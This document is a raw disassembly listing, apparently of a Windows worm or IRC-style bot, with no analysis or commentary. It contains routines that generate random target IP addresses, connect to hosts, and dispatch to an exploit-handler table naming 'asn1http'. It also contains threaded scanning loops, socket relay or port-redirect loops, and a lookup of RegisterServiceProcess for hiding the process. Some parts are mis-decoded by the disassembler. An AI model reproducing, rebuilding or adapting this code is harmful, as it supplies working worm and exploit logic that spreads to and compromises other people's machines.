		call	ds:dword_41C064	; CreateThread
		mov	ecx, ds:dword_42F620
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_404B34


loc_404B22:				; CODE XREF: seg000:00404B32j
		cmp	ds:dword_42F634, ebx
		jnz	short loc_404B4F
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_404B22
; ---------------------------------------------------------------------------


loc_404B34:				; CODE XREF: seg000:00404B20j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_41F3FC


loc_404B40:				; CODE XREF: seg000:00404A38j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_4104AF
		add	esp, 0Ch


loc_404B4F:				; CODE XREF: seg000:00404A1Cj
					; seg000:00404B28j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_407AB1
		pop	ecx


loc_404B5C:				; CODE XREF: seg000:004047E0j
					; seg000:00404801j ...
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B60	proc near		; CODE XREF: sub_404CE1:loc_404D52p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:42E668h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_410510
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_42F94C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_42FA14
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_410510
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_404B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404BA8	proc near		; CODE XREF: sub_404CE1+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_410A70
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_404BD0
		xor	eax, eax
		jmp	short loc_404C41
; ---------------------------------------------------------------------------


loc_404BD0:				; CODE XREF: sub_404BA8+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_411844
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_404BFD
		call	sub_41084F
		mov	[ebp+var_C], eax


loc_404BFD:				; CODE XREF: sub_404BA8+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_404C0A
		call	sub_41084F
		mov	[ebp+var_8], eax


loc_404C0A:				; CODE XREF: sub_404BA8+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_404C17
		call	sub_41084F
		mov	[ebp+var_4], eax


loc_404C17:				; CODE XREF: sub_404BA8+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_404C23
		call	sub_41084F


loc_404C23:				; CODE XREF: sub_404BA8+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_42E668[ecx*8],	eax


loc_404C41:				; CODE XREF: sub_404BA8+26j
		pop	esi
		leave
		retn
sub_404BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404C44	proc near		; CODE XREF: sub_404CE1+B8p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	ds:dword_42FA98
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_404C6D
		xor	eax, eax
		jmp	short loc_404CDC
; ---------------------------------------------------------------------------


loc_404C6D:				; CODE XREF: sub_404C44+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	ds:dword_42FA18
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_42FAB4
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_42F9C0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	ds:dword_42FA00
		push	esi
		mov	edi, eax
		call	ds:dword_42FAB0
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_404CDC:				; CODE XREF: sub_404C44+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404C44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CE1	proc near		; DATA XREF: sub_404EF5+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_410845
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_404D28:				; CODE XREF: sub_404CE1+200j
		mov	eax, ds:dword_434BAC[ebx]
		cmp	ds:dword_42E66C[eax*8],	0
		jz	loc_404EE6
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_404D52
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_404BA8
		pop	ecx
		jmp	short loc_404D57
; ---------------------------------------------------------------------------


loc_404D52:				; CODE XREF: sub_404CE1+60j
		call	sub_404B60


loc_404D57:				; CODE XREF: sub_404CE1+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	ds:dword_434BAC[ebx]
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_42FAA4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_41F610
		push	eax
		call	sub_4104AF
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_4349A8[ebx]
		push	eax
		call	sub_4104AF
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_404C44
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_404ED6
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_404E2B
		push	offset dword_42EFC8
		call	ds:dword_41C098	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_42FAA4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_41F5D4
		push	eax
		call	sub_4104AF
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_404E0D
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_404E01
		lea	eax, [ebp+var_140]


loc_404E01:				; CODE XREF: sub_404CE1+118j
		push	eax
		push	[ebp+var_40]
		call	sub_40DFB2
		add	esp, 14h


loc_404E0D:				; CODE XREF: sub_404CE1+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_407AB1
		mov	[esp+2A8h+var_2A8], offset dword_42EFC8
		call	ds:dword_41C094	; RtlLeaveCriticalSection
		jmp	loc_404ED6
; ---------------------------------------------------------------------------


loc_404E2B:				; CODE XREF: sub_404CE1+CDj
		push	edi
		call	ds:dword_42FAA4
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4104AF
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aAsn1http_0	; "asn1http"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4104AF
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_404E6F
		lea	eax, [ebp+var_140]


loc_404E6F:				; CODE XREF: sub_404CE1+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4104AF
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	ds:off_41F28C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_404ED6:				; CODE XREF: sub_404CE1+C3j
					; sub_404CE1+145j
		push	7D0h
		call	ds:dword_41C050	; Sleep
		jmp	loc_404D28
; ---------------------------------------------------------------------------


loc_404EE6:				; CODE XREF: sub_404CE1+55j
		push	esi
		call	sub_410277
		pop	ecx
		push	0
		call	near ptr 0A70000h
		setalc
sub_404CE1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404EF5	proc near		; DATA XREF: seg000:0040B998o
					; seg000:0040D0E8o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	ds:dword_42FA58
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	ds:dword_42E668[ecx*8],	eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_4047CC
		push	8
		call	sub_4101A3
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_404FC3
		mov	esi, offset dword_42EFC8
		push	esi
		call	ds:dword_41C0A0	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_41C09C	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_404FC3
		lea	eax, [ebp+var_1CC]
		push	offset unk_41F754
		push	eax
		call	sub_4104AF
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_404FAD
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40DFB2
		add	esp, 14h


loc_404FAD:				; CODE XREF: sub_404EF5+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_407AB1
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_404FC3:				; CODE XREF: sub_404EF5+63j
					; sub_404EF5+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_41C050
		mov	edi, ebx
		mov	ds:dword_42E66C[eax*8],	ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_405090


loc_404FE1:				; CODE XREF: sub_404EF5+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_41F708
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_40FF5B
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	ds:dword_434BAC[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_404CE1
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40505B


loc_405050:				; CODE XREF: sub_404EF5+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_405082
		push	1Eh
		call	esi ; dword_41C050
		jmp	short loc_405050
; ---------------------------------------------------------------------------


loc_40505B:				; CODE XREF: sub_404EF5+159j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_41F6B8
		push	eax
		call	sub_4104AF
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_407AB1
		add	esp, 10h


loc_405082:				; CODE XREF: sub_404EF5+15Ej
		push	1Eh
		call	esi ; dword_41C050
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_404FE1


loc_405090:				; CODE XREF: sub_404EF5+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_40513A
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi ; dword_41C050


loc_4050A5:				; CODE XREF: sub_404EF5+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, ds:dword_42E668[eax*8]
		push	eax
		call	ds:dword_42FAA4
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_41F660
		push	eax
		call	sub_4104AF
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_4050F3
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40DFB2
		add	esp, 14h


loc_4050F3:				; CODE XREF: sub_404EF5+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_407AB1
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	ds:dword_42E66C[eax*8],	ebx
		call	esi ; dword_41C050
		push	8
		call	sub_4101A3
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40512A
		push	offset dword_42EFC8
		call	ds:dword_41C0A0	; RtlDeleteCriticalSection


loc_40512A:				; CODE XREF: sub_404EF5+228j
		push	[ebp+var_2C]
		call	sub_410277
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		dec	esi


loc_40513A:				; CODE XREF: sub_404EF5+19Ej
					; sub_404EF5+25Dj
		mov	eax, [ebp+var_2C]
		cmp	ds:dword_42E66C[eax*8],	1
		jnz	loc_4050A5
		push	7D0h
		call	esi ; dword_41C050
		jmp	short loc_40513A
sub_404EF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405154	proc near		; DATA XREF: seg000:0040BD6Fo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_410870
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	ds:dword_42FA18
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	ds:dword_42FA98
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4052B8
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	ds:dword_434BB4[eax], ebx
		call	ds:dword_42F934
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_42FA44
		test	eax, eax
		jnz	loc_4052B8
		push	0Ah
		push	ebx
		call	ds:dword_42FA40
		test	eax, eax
		jnz	loc_4052B8


loc_4051FE:				; CODE XREF: sub_405154+BEj
					; sub_405154+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_42FAAC
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4051FE
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	ds:dword_42FAA4
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_41F7F0
		push	eax
		call	sub_4104AF
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_40FF5B
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	ds:dword_434BAC[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	(offset	loc_4052D8+4)
		push	esi
		push	esi
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_4052A3


loc_405290:				; CODE XREF: sub_405154+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_4051FE
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_405290
; ---------------------------------------------------------------------------


loc_4052A3:				; CODE XREF: sub_405154+13Aj
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_41F7A0
		call	sub_407B25
		pop	ecx
		pop	ecx
		jmp	short loc_4052BB
; ---------------------------------------------------------------------------


loc_4052B8:				; CODE XREF: sub_405154+61j
					; sub_405154+93j ...
		mov	edi, [ebp+arg_0]


loc_4052BB:				; CODE XREF: sub_405154+162j
		push	edi
		call	ds:dword_42FAB0
		push	ebx
		call	ds:dword_42FAB0
		push	[ebp+var_3C]
		call	sub_410277
		pop	ecx
		push	esi
		call	near ptr 0A70000h


loc_4052D8:				; DATA XREF: sub_405154+11Co
		call	near ptr 559BB13Ch
sub_405154	endp ; sp-analysis failed

		mov	ebp, esp
		mov	eax, 1344h
		call	sub_411C60
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	ds:dword_42FA98
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_405492
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_410870
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	ds:dword_42FA18
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	ds:dword_42FA58
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_40536C
		lea	eax, [ebp-13Ch]
		push	eax
		call	ds:dword_42FA9C
		jmp	short loc_40537A
; ---------------------------------------------------------------------------


loc_40536C:				; CODE XREF: seg000:0040535Bj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	ds:dword_42F9D0


loc_40537A:				; CODE XREF: seg000:0040536Aj
		cmp	eax, edi
		jz	loc_405492
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	ds:dword_42F9C0
		cmp	eax, 0FFFFFFFFh
		jz	loc_405492
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	ds:dword_42FAA4
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_41F89C
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_40FF5B
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_434BB4[ebx]
		mov	ds:dword_434BAC[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	ds:dword_434BB8[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	(offset	loc_4054BF+4)
		push	edi
		push	edi
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40547F


loc_40542C:				; CODE XREF: seg000:00405439j
		cmp	[ebp-20h], edi
		jnz	short loc_40543B
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40542C
; ---------------------------------------------------------------------------


loc_40543B:				; CODE XREF: seg000:0040542Fj
		mov	ebx, 1000h


loc_405440:				; CODE XREF: seg000:0040547Bj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_410870
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_42FA30
		cmp	eax, edi
		jle	short loc_405492
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_42FA68
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405440
		jmp	short loc_405492
; ---------------------------------------------------------------------------


loc_40547F:				; CODE XREF: seg000:0040542Aj
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_41F848
		call	sub_407B25
		pop	ecx
		pop	ecx


loc_405492:				; CODE XREF: seg000:00405320j
					; seg000:0040537Cj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	ds:dword_434BB4[eax]
		call	ds:dword_42FAB0
		push	dword ptr [ebp+8]
		call	ds:dword_42FAB0
		push	dword ptr [ebp-4]
		call	sub_410277
		pop	ecx
		push	edi
		call	near ptr 0A70000h


loc_4054BF:				; DATA XREF: seg000:0040540Co
		mov	al, ds:555B5E5Fh
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_411C60
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_4054FA:				; CODE XREF: seg000:0040553Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_410870
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	ds:dword_434BB8[esi]
		call	ds:dword_42FA30
		test	eax, eax
		jle	short loc_405541
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	ds:dword_434BB4[esi]
		call	ds:dword_42FA68
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4054FA


loc_405541:				; CODE XREF: seg000:00405524j
		push	ds:dword_434BB8[esi]
		call	ds:dword_42FAB0
		push	dword ptr [ebp-14h]
		call	sub_410277
		pop	ecx
		push	0
		call	near ptr 0A70000h
		db	65h
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_405560	proc near		; CODE XREF: seg000:004087C5p
		push	ebx
		push	ebp
		mov	ebp, ds:dword_41C0AC
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp ; dword_41C0AC
		mov	esi, ds:dword_41C0A8
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_405680
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	ds:dword_42FAC4, eax
		call	esi ; dword_41C0A8
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	ds:dword_42FA38, eax
		call	esi ; dword_41C0A8
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	ds:dword_42FA1C, eax
		call	esi ; dword_41C0A8
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	ds:dword_42F938, eax
		call	esi ; dword_41C0A8
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	ds:dword_42F8E4, eax
		call	esi ; dword_41C0A8
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	ds:dword_42F914, eax
		call	esi ; dword_41C0A8
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	ds:dword_42F988, eax
		call	esi ; dword_41C0A8
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	ds:dword_42FA78, eax
		call	esi ; dword_41C0A8
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	ds:dword_42FAD4, eax
		call	esi ; dword_41C0A8
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	ds:dword_42F944, eax
		call	esi ; dword_41C0A8
		cmp	ds:dword_42FAC4, ebx
		mov	ds:dword_42F92C, eax
		jz	short loc_40565E
		cmp	ds:dword_42FA38, ebx
		jz	short loc_40565E
		cmp	ds:dword_42FA1C, ebx
		jz	short loc_40565E
		cmp	ds:dword_42F938, ebx
		jz	short loc_40565E
		cmp	ds:dword_42F914, ebx
		jz	short loc_40565E
		cmp	ds:dword_42F988, ebx
		jz	short loc_40565E
		cmp	ds:dword_42FA78, ebx
		jz	short loc_40565E
		cmp	ds:dword_42FAD4, ebx
		jz	short loc_40565E
		cmp	ds:dword_42F944, ebx
		jz	short loc_40565E
		cmp	eax, ebx
		jnz	short loc_405668


loc_40565E:				; CODE XREF: sub_405560+B8j
					; sub_405560+C0j ...
		mov	ds:dword_42FAD8, 1


loc_405668:				; CODE XREF: sub_405560+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi ; dword_41C0A8
		cmp	eax, ebx
		mov	ds:dword_42FA50, eax
		jz	short loc_405695
		push	1
		push	ebx
		call	eax
		jmp	short loc_405695
; ---------------------------------------------------------------------------


loc_405680:				; CODE XREF: sub_405560+1Dj
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_42FADC, eax
		mov	ds:dword_42FAD8, 1


loc_405695:				; CODE XREF: sub_405560+117j
					; sub_405560+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_41C0A4	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4057AA
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi ; dword_41C0A8
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	ds:dword_42FA74, eax
		call	esi ; dword_41C0A8
		push	offset aIswindow ; "IsWindow"
